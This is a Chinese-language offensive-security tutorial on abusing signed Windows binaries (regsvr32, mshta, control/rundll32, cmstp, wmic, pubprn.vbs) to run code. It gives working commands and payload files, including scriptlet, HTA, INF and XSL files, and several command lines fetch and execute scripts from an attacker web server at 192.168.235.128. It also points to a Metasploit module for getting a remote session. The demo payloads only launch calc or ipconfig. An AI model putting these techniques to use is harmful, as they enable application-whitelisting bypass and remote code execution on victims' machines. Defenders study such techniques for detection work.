前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)
Regsvr\32
Regsvr\32 是一个命令行实用工具,用于注册和取消注册 OLE 控件,如在 Windows 注册表中的 DLL 和 ActiveX 控件。
注意:
64 位版本是 %systemroot%\System32\regsvr\32.exe
32 位版本是 %systemroot%\SysWoW64\regsvr\32.exe
regsvr\32.exe /u /n /s /i:a.png scrobj.dll
将下面文件另存为任意后缀的文件,但是文件内容格式必须要为xml格式
<?XMLversion="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}">
<scriptlanguage="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("cmd /k ipconfig");
]]>
</script>
</registration>
</scriptlet>
MSHTA
mshta.exe是微软Windows操作系统相关程序,其支持执行两种格式的文件.hat、.sct。
执行.hta后缀的文件
mshta http://192.168.235.128/test.hta
<html>
<head>
<scriptlanguage="VBScript">
SubRunProgram
SetobjShell=CreateObject("Wscript.Shell")
objShell.Run"calc.exe"
EndSub
RunProgram()
</script>
</head>
<body>
Nothing to see here..
</body>
</html>
执行.sct后缀文件
也可以嵌入jscript,但是需要将文件后缀命名为.sct后缀
mshta.exe javascript:a=(GetObject("script:http://192.168.235.128/test.sct")).Exec();close();
<?XMLversion="1.0"?>
<scriptlet>
<registrationdescription="Desc"progid="Progid"version="0"classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<public>
<methodname="Exec"></method>
</public>
<scriptlanguage="JScript">
<![CDATA[
functionExec() {
varr=newActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>
MSF中有相应的模块,可以利用上线
利用MSF中的exploit/windows/misc/hta_server模块
控制面板项
控制面板项是注册的一个可执行的文件(exe、cpl),其中cpl文件其实就是.dll文件给他重命名为.cpl文。通过创建.dll文件并将其命名为.cpl扩展名,创建一个控制面板项,此文件导出了CPlApplet函数。
控制面板项可以执行我们想要执行的系统命令,我们可以通过如下方式执行命令:
双击
通过control.exe文件
使用导出函数Control_RunDLL执行
我们编写一个简单的demo程序,将生产的.dll文件重命名为.cpl文件
#include <Windows.h>
BOOLAPIENTRYDllMain(HMODULEhModule,
DWORDul_reason_for_call,
LPVOIDlpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
{
MessageBoxW(NULL, L"This is a test", L"Test", 0);
break;
}
caseDLL_THREAD_ATTACH:
caseDLL_THREAD_DETACH:
caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}
直接双击运行
其调用的是导出函数Control_RunDLL
control.exe
我们可以看见,其调用的也是导出函数Control_RunDLL
Control_RunDLL
rundll32.exe Shell32.dll,Control_RunDLL "D:\1\cpl.cpl"
参考:
https://learn.microsoft.com/zh-cn/windows/win32/shell/using-cplapplet
CMSTP
我们可以创建一个.inf文件,然后利用cmstp来执行文件中的恶意程序。
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\windows\system32\calc.exe
[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"
如果路径过长,那么需要用单引号进行包裹
cmstp.exe /s /ns D:\1\test.inf
我们也可以调用dll文件进行执行
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
D:\1\cpl.dll
[Strings]
AppAct ="SOFTWARE\Microsoft\Connection Manager"
ServiceName="mantvydas"
ShortSvcName="mantvydas"
WMIC
WMIC是WMI的扩展,提供了从命令行接口和批命令脚本执行系统管理的支持,实际上就是命令行管理工具。在内网横向移动较为是常见的方法。
我们同样可以利用其执行一些命令、运行我们的程序
wmic process call create "calc.exe"
我们也可以编写一个.xsl后缀的文件,包含 jscript 有效负载
<?xmlversion='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<outputmethod="text"/>
<ms:scriptimplements-prefix="user"language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]></ms:script>
</stylesheet>
wmic os get/FORMAT:"test.xsl"
参考文章:
https://learn.microsoft.com/zh-cn/windows/win32/wmisdk/wmic
PowerShdll.dll
我们可以不直接启动Powershell.exe,我们可以利用PowerShdll.dll来启动一个Powershell进程(这个没什么好介绍的)
rundll32.exe PowerShdll.dll,main
pubprn.vbs
pubprn.vbs是Windows自带的vbs脚本,因此其存在数字签名,默认位置在C:\Windows\System32\Printing_Admin_Scripts\en-US
我们可以利用此来执行命令、程序,如下我们执行calc.exe程序
<?XMLversion="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
</registration>
<scriptlanguage="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
将其后缀命名为.sct文件,然后攻击机开启Web服务,即可执行
cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.235.128/test.sct
参考:
https://www.ired.team/offensive-security/code-execution